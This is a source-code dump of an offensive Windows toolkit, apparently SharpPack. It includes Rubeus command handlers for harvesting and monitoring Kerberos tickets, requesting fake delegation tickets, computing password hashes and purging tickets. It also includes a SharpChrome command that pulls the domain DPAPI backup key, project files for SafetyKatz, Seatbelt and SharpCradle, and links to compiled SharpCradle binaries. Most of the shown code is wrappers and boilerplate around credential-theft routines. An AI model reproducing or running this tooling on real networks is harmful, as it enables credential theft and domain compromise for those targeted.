/Rubeus/Rubeus/Commands/Describe.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | 6 | namespace Rubeus.Commands 7 | { 8 | public class Describe : ICommand 9 | { 10 | public static string CommandName => "describe"; 11 | 12 | public void Execute(Dictionary arguments) 13 | { 14 | if (arguments.ContainsKey("/ticket")) 15 | { 16 | string kirbi64 = arguments["/ticket"]; 17 | 18 | if (Helpers.IsBase64String(kirbi64)) 19 | { 20 | byte[] kirbiBytes = Convert.FromBase64String(kirbi64); 21 | KRB_CRED kirbi = new KRB_CRED(kirbiBytes); 22 | LSA.DisplayTicket(kirbi, true); 23 | } 24 | else if (File.Exists(kirbi64)) 25 | { 26 | byte[] kirbiBytes = File.ReadAllBytes(kirbi64); 27 | KRB_CRED kirbi = new KRB_CRED(kirbiBytes); 28 | LSA.DisplayTicket(kirbi, true); 29 | } 30 | else 31 | { 32 | Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); 33 | } 34 | return; 35 | } 36 | else 37 | { 38 | Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); 39 | return; 40 | } 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /Rubeus/Rubeus/Commands/HarvestCommand.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | namespace Rubeus.Commands 5 | { 6 | public class HarvestCommand : ICommand 7 | { 8 | public static string CommandName => "harvest"; 9 | 10 | public void Execute(Dictionary arguments) 11 | { 12 | int intervalMinutes = 60; 13 | string registryBasePath = null; 14 | if (arguments.ContainsKey("/interval")) 15 | { 16 | intervalMinutes = Int32.Parse(arguments["/interval"]); 17 | } 18 | if (arguments.ContainsKey("/registry")) 19 | { 20 | registryBasePath = arguments["/registry"]; 21 | } 22 | 23 | Harvest.HarvestTGTs(intervalMinutes, registryBasePath); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Rubeus/Rubeus/Commands/Hash.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | 5 | namespace Rubeus.Commands 6 | { 7 | public class Hash : ICommand 8 | { 9 | public static string CommandName => "hash"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | string user = ""; 14 | string domain = ""; 15 | string password = ""; 16 | 17 | if (arguments.ContainsKey("/domain")) 18 | { 19 | domain = arguments["/domain"]; 20 | } 21 | 22 | if (arguments.ContainsKey("/user")) 23 | { 24 | string[] parts = arguments["/user"].Split('\\'); 25 | if (parts.Length == 2) 26 | { 27 | domain = parts[0]; 28 | user = parts[1]; 29 | } 30 | else 31 | { 32 | user = arguments["/user"]; 33 | } 34 | } 35 | 36 | if (arguments.ContainsKey("/password")) 37 | { 38 | password = arguments["/password"]; 39 | } 40 | else 41 | { 42 | Console.WriteLine("[X] /password:X must be supplied!"); 43 | return; 44 | } 45 | 46 | Crypto.ComputeAllKerberosPasswordHashes(password, user, domain); 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /Rubeus/Rubeus/Commands/ICommand.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace Rubeus.Commands 4 | { 5 | public interface ICommand 6 | { 7 | void Execute(Dictionary arguments); 8 | } 9 | } -------------------------------------------------------------------------------- /Rubeus/Rubeus/Commands/Klist.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | 5 | namespace Rubeus.Commands 6 | { 7 | public class Klist : ICommand 8 | { 9 | public static string CommandName => "klist"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | Interop.LUID luid = new Interop.LUID(); 14 | 15 | if (arguments.ContainsKey("/luid")) 16 | { 17 | try 18 | { 19 | luid = new Interop.LUID(arguments["/luid"]); 20 | } 21 | catch 22 | { 23 | Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); 24 | return; 25 | } 26 | } 27 | 28 | LSA.ListKerberosTickets(luid); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Rubeus/Rubeus/Commands/Monitor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | namespace Rubeus.Commands 5 | { 6 | public class Monitor : ICommand 7 | { 8 | public static string CommandName => "monitor"; 9 | 10 | public void Execute(Dictionary arguments) 11 | { 12 | string targetUser = null; 13 | int interval = 60; 14 | string registryBasePath = null; 15 | if (arguments.ContainsKey("/filteruser")) 16 | { 17 | targetUser = arguments["/filteruser"]; 18 | } 19 | if (arguments.ContainsKey("/interval")) 20 | { 21 | interval = Int32.Parse(arguments["/interval"]); 22 | } 23 | if (arguments.ContainsKey("/registry")) 24 | { 25 | registryBasePath = arguments["/registry"]; 26 | } 27 | 28 | Harvest.Monitor4624(interval, targetUser, registryBasePath); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Rubeus/Rubeus/Commands/Purge.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | 5 | namespace Rubeus.Commands 6 | { 7 | public class Purge : ICommand 8 | { 9 | public static string CommandName => "purge"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | Interop.LUID luid = new Interop.LUID(); 14 | 15 | if (arguments.ContainsKey("/luid")) 16 | { 17 | try 18 | { 19 | luid = new Interop.LUID(arguments["/luid"]); 20 | } 21 | catch 22 | { 23 | Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); 24 | return; 25 | } 26 | } 27 | 28 | Console.WriteLine("Luid: {0}", luid); 29 | 30 | LSA.Purge(luid); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Rubeus/Rubeus/Commands/Tgtdeleg.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | 4 | namespace Rubeus.Commands 5 | { 6 | public class Tgtdeleg : ICommand 7 | { 8 | public static string CommandName => "tgtdeleg"; 9 | 10 | public void Execute(Dictionary arguments) 11 | { 12 | if (arguments.ContainsKey("/target")) 13 | { 14 | byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]); 15 | } 16 | else 17 | { 18 | byte[] blah = LSA.RequestFakeDelegTicket(); 19 | } 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /Rubeus/Rubeus/Commands/Triage.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | 4 | 5 | namespace Rubeus.Commands 6 | { 7 | public class Triage : ICommand 8 | { 9 | public static string CommandName => "triage"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | Interop.LUID luid = new Interop.LUID(); 14 | string user = ""; 15 | string service = ""; 16 | 17 | if (arguments.ContainsKey("/luid")) 18 | { 19 | try 20 | { 21 | luid = new Interop.LUID(arguments["/luid"]); 22 | } 23 | catch 24 | { 25 | Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); 26 | return; 27 | } 28 | } 29 | if (arguments.ContainsKey("/user")) 30 | { 31 | user = arguments["/user"]; 32 | } 33 | if (arguments.ContainsKey("/service")) 34 | { 35 | service = arguments["/service"]; 36 | } 37 | 38 | LSA.TriageKerberosTickets(luid, user, service); 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /Rubeus/Rubeus/Domain/ArgumentParser.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Diagnostics; 3 | 4 | namespace Rubeus.Domain 5 | { 6 | public static class ArgumentParser 7 | { 8 | public static ArgumentParserResult Parse(IEnumerable args) 9 | { 10 | var arguments = new Dictionary(); 11 | try 12 | { 13 | foreach (var argument in args) 14 | { 15 | var idx = argument.IndexOf(':'); 16 | if (idx > 0) 17 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 18 | else 19 | arguments[argument] = string.Empty; 20 | } 21 | 22 | return ArgumentParserResult.Success(arguments); 23 | } 24 | catch (System.Exception ex) 25 | { 26 | Debug.WriteLine(ex.Message); 27 | return ArgumentParserResult.Failure(); 28 | } 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /Rubeus/Rubeus/Domain/ArgumentParserResult.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace Rubeus.Domain 4 | { 5 | public class ArgumentParserResult 6 | { 7 | public bool ParsedOk { get; } 8 | public Dictionary Arguments { get; } 9 | 10 | private ArgumentParserResult(bool parsedOk, Dictionary arguments) 11 | { 12 | ParsedOk = parsedOk; 13 | Arguments = arguments; 14 | } 15 | 16 | public static ArgumentParserResult Success(Dictionary arguments) 17 | => new ArgumentParserResult(true, arguments); 18 | 19 | public static ArgumentParserResult Failure() 20 | => new ArgumentParserResult(false, null); 21 | 22 | } 23 | } -------------------------------------------------------------------------------- /Rubeus/Rubeus/Program.cs: -------------------------------------------------------------------------------- 1 | using Rubeus.Domain; 2 | using System; 3 | 4 | namespace Rubeus 5 | { 6 | public class Program 7 | { 8 | public static void Main(string[] args) 9 | { 10 | try 11 | { 12 | Info.ShowLogo(); 13 | 14 | // try to parse the command line arguments, show usage on failure and then bail 15 | var parsed = ArgumentParser.Parse(args); 16 | if (parsed.ParsedOk == false) 17 | Info.ShowUsage(); 18 | else 19 | { 20 | // Try to execute the command using the arguments passed in 21 | 22 | var commandName = args.Length != 0 ? args[0] : ""; 23 | 24 | var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); 25 | 26 | // show the usage if no commands were found for the command name 27 | if (commandFound == false) 28 | Info.ShowUsage(); 29 | } 30 | } 31 | catch (Exception e) 32 | { 33 | Console.WriteLine("\r\n[!] Unhandled Rubeus exception:\r\n"); 34 | Console.WriteLine(e); 35 | } 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /Rubeus/Rubeus/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Rubeus")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Rubeus")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Rubeus/Rubeus/lib/krb_structures/KERB_PA_PAC_REQUEST.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Text; 4 | 5 | namespace Rubeus 6 | { 7 | //KERB-PA-PAC-REQUEST ::= SEQUENCE { 8 | // include-pac[0] BOOLEAN --If TRUE, and no pac present, include PAC. 9 | // --If FALSE, and PAC present, remove PAC 10 | //} 11 | 12 | public class KERB_PA_PAC_REQUEST 13 | { 14 | public KERB_PA_PAC_REQUEST() 15 | { 16 | // default -> include PAC 17 | include_pac = true; 18 | } 19 | 20 | public KERB_PA_PAC_REQUEST(AsnElt value) 21 | { 22 | include_pac = value.Sub[0].Sub[0].GetBoolean(); 23 | } 24 | 25 | public AsnElt Encode() 26 | { 27 | AsnElt ret; 28 | 29 | if (include_pac) 30 | { 31 | ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 }); 32 | } 33 | else 34 | { 35 | ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 }); 36 | } 37 | 38 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ret }); 39 | 40 | return seq; 41 | } 42 | 43 | public bool include_pac { get; set; } 44 | } 45 | } -------------------------------------------------------------------------------- /Rubeus/Rubeus/lib/krb_structures/LastReq.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Text; 4 | using System.Collections.Generic; 5 | 6 | namespace Rubeus 7 | { 8 | public class LastReq 9 | { 10 | //LastReq::= SEQUENCE OF SEQUENCE { 11 | // lr-type[0] Int32, 12 | // lr-value[1] KerberosTime 13 | //} 14 | 15 | public LastReq(AsnElt body) 16 | { 17 | foreach (AsnElt s in body.Sub[0].Sub) 18 | { 19 | switch (s.TagValue) 20 | { 21 | case 0: 22 | lr_type = Convert.ToInt32(s.Sub[0].GetInteger()); 23 | break; 24 | case 1: 25 | lr_value = s.Sub[0].GetTime(); 26 | break; 27 | default: 28 | break; 29 | } 30 | } 31 | } 32 | 33 | public AsnElt Encode() 34 | { 35 | // TODO: implement 36 | return null; 37 | } 38 | 39 | public Int32 lr_type { get; set; } 40 | 41 | public DateTime lr_value { get; set; } 42 | } 43 | } -------------------------------------------------------------------------------- /Rubeus/Rubeus/lib/krb_structures/PA_ENC_TS_ENC.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Text; 4 | 5 | namespace Rubeus 6 | { 7 | //PA-ENC-TS-ENC ::= SEQUENCE { 8 | // patimestamp[0] KerberosTime, -- client's time 9 | // pausec[1] INTEGER OPTIONAL 10 | //} 11 | 12 | public class PA_ENC_TS_ENC 13 | { 14 | public PA_ENC_TS_ENC() 15 | { 16 | patimestamp = DateTime.UtcNow; 17 | } 18 | 19 | public PA_ENC_TS_ENC(DateTime time) 20 | { 21 | patimestamp = time; 22 | } 23 | 24 | //public PA_ENC_TS_ENC(AsnElt value) 25 | //{ 26 | 27 | //} 28 | 29 | public AsnElt Encode() 30 | { 31 | AsnElt patimestampAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, patimestamp.ToString("yyyyMMddHHmmssZ")); 32 | AsnElt patimestampSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampAsn }); 33 | patimestampSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, patimestampSeq); 34 | 35 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampSeq }); 36 | 37 | return totalSeq; 38 | } 39 | 40 | public DateTime patimestamp { get; set; } 41 | 42 | public int pausec { get; set; } 43 | 44 | //public bool include_pac { get; set; } 45 | } 46 | } -------------------------------------------------------------------------------- /SafetyKatz/.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | -------------------------------------------------------------------------------- /SafetyKatz/SafetyKatz.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SafetyKatz", "SafetyKatz\SafetyKatz.csproj", "{8347E81B-89FC-42A9-B22C-F59A6A572DEC}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {8347E81B-89FC-42A9-B22C-F59A6A572DEC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {8347E81B-89FC-42A9-B22C-F59A6A572DEC}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {8347E81B-89FC-42A9-B22C-F59A6A572DEC}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {8347E81B-89FC-42A9-B22C-F59A6A572DEC}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /SafetyKatz/SafetyKatz/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SafetyKatz")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SafetyKatz")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("8347e81b-89fc-42a9-b22c-f59a6a572dec")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Seatbelt/.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | -------------------------------------------------------------------------------- /Seatbelt/Seatbelt.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Seatbelt", "Seatbelt\Seatbelt.csproj", "{AEC32155-D589-4150-8FE7-2900DF4554C8}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {AEC32155-D589-4150-8FE7-2900DF4554C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {AEC32155-D589-4150-8FE7-2900DF4554C8}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {AEC32155-D589-4150-8FE7-2900DF4554C8}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {AEC32155-D589-4150-8FE7-2900DF4554C8}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Seatbelt/Seatbelt/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Seatbelt")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Seatbelt")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("aec32155-d589-4150-8fe7-2900df4554c8")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpCradle/CompiledBinaries/SharpCradle_x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpCradle/CompiledBinaries/SharpCradle_x64.exe -------------------------------------------------------------------------------- /SharpCradle/CompiledBinaries/SharpCradle_x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpCradle/CompiledBinaries/SharpCradle_x86.exe -------------------------------------------------------------------------------- /SharpCradle/SCradle.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpCradle/SCradle.PNG -------------------------------------------------------------------------------- /SharpCradle/SCradle_2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpCradle/SCradle_2.PNG -------------------------------------------------------------------------------- /SharpCradle/SharpCradle/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpCradle/SharpCradle/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpCradle")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpCradle")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("f70d2b71-4aae-4b24-9dae-55bc819c78bb")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpDPAPI/.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | .DS_Store 8 | *.csproj.user 9 | -------------------------------------------------------------------------------- /SharpDPAPI/SharpChrome/Commands/Backupkey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | namespace SharpChrome.Commands 6 | { 7 | public class Backupkey : ICommand 8 | { 9 | public static string CommandName => "backupkey"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n"); 14 | 15 | string server = ""; 16 | string outFile = ""; 17 | 18 | if (arguments.ContainsKey("/server")) 19 | { 20 | server = arguments["/server"]; 21 | Console.WriteLine("\r\n[*] Using server : {0}", server); 22 | } 23 | else 24 | { 25 | server = SharpDPAPI.Interop.GetDCName(); 26 | if (String.IsNullOrEmpty(server)) 27 | { 28 | return; 29 | } 30 | Console.WriteLine("\r\n[*] Using current domain controller : {0}", server); 31 | } 32 | 33 | if (arguments.ContainsKey("/file")) 34 | { 35 | // if we want the backup key piped to an output file 36 | outFile = arguments["/file"]; 37 | } 38 | 39 | SharpDPAPI.Backup.GetBackupKey(server, outFile); 40 | } 41 | } 42 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpChrome/Commands/ICommand.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace SharpChrome.Commands 4 | { 5 | public interface ICommand 6 | { 7 | void Execute(Dictionary arguments); 8 | } 9 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpChrome/Domain/ArgumentParser.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Diagnostics; 3 | 4 | namespace SharpChrome.Domain 5 | { 6 | public static class ArgumentParser 7 | { 8 | public static ArgumentParserResult Parse(IEnumerable args) 9 | { 10 | var arguments = new Dictionary(); 11 | try 12 | { 13 | foreach (var argument in args) 14 | { 15 | var idx = argument.IndexOf(':'); 16 | if (idx > 0) 17 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 18 | else 19 | arguments[argument] = string.Empty; 20 | } 21 | 22 | return ArgumentParserResult.Success(arguments); 23 | } 24 | catch (System.Exception ex) 25 | { 26 | Debug.WriteLine(ex.Message); 27 | return ArgumentParserResult.Failure(); 28 | } 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /SharpDPAPI/SharpChrome/Domain/ArgumentParserResult.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace SharpChrome.Domain 4 | { 5 | public class ArgumentParserResult 6 | { 7 | public bool ParsedOk { get; } 8 | public Dictionary Arguments { get; } 9 | 10 | private ArgumentParserResult(bool parsedOk, Dictionary arguments) 11 | { 12 | ParsedOk = parsedOk; 13 | Arguments = arguments; 14 | } 15 | 16 | public static ArgumentParserResult Success(Dictionary arguments) 17 | => new ArgumentParserResult(true, arguments); 18 | 19 | public static ArgumentParserResult Failure() 20 | => new ArgumentParserResult(false, null); 21 | 22 | } 23 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpChrome/Program.cs: -------------------------------------------------------------------------------- 1 | using SharpChrome.Domain; 2 | using System; 3 | using System.Collections.Generic; 4 | using SQLite; 5 | 6 | namespace SharpChrome 7 | { 8 | class Program 9 | { 10 | static void Main(string[] args) 11 | { 12 | try 13 | { 14 | Info.Logo(); 15 | 16 | // try to parse the command line arguments, show usage on failure and then bail 17 | var parsed = ArgumentParser.Parse(args); 18 | if (parsed.ParsedOk == false) 19 | Info.ShowUsage(); 20 | else 21 | { 22 | // Try to execute the command using the arguments passed in 23 | 24 | var commandName = args.Length != 0 ? args[0] : ""; 25 | 26 | var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); 27 | 28 | // show the usage if no commands were found for the command name 29 | if (commandFound == false) 30 | Info.ShowUsage(); 31 | } 32 | } 33 | catch (Exception e) 34 | { 35 | Console.WriteLine("\r\n[!] Unhandled SharpChrome exception:\r\n"); 36 | Console.WriteLine(e); 37 | } 38 | } 39 | } 40 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpDPAPI", "SharpDPAPI\SharpDPAPI.csproj", "{5F026C27-F8E6-4052-B231-8451C6A73838}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpChrome", "SharpChrome\SharpChrome.csproj", "{2F00A05B-263D-4FCC-846B-DA82BD684603}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {5F026C27-F8E6-4052-B231-8451C6A73838}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {2F00A05B-263D-4FCC-846B-DA82BD684603}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {2F00A05B-263D-4FCC-846B-DA82BD684603}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {2F00A05B-263D-4FCC-846B-DA82BD684603}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {2F00A05B-263D-4FCC-846B-DA82BD684603}.Release|Any CPU.Build.0 = Release|Any CPU 24 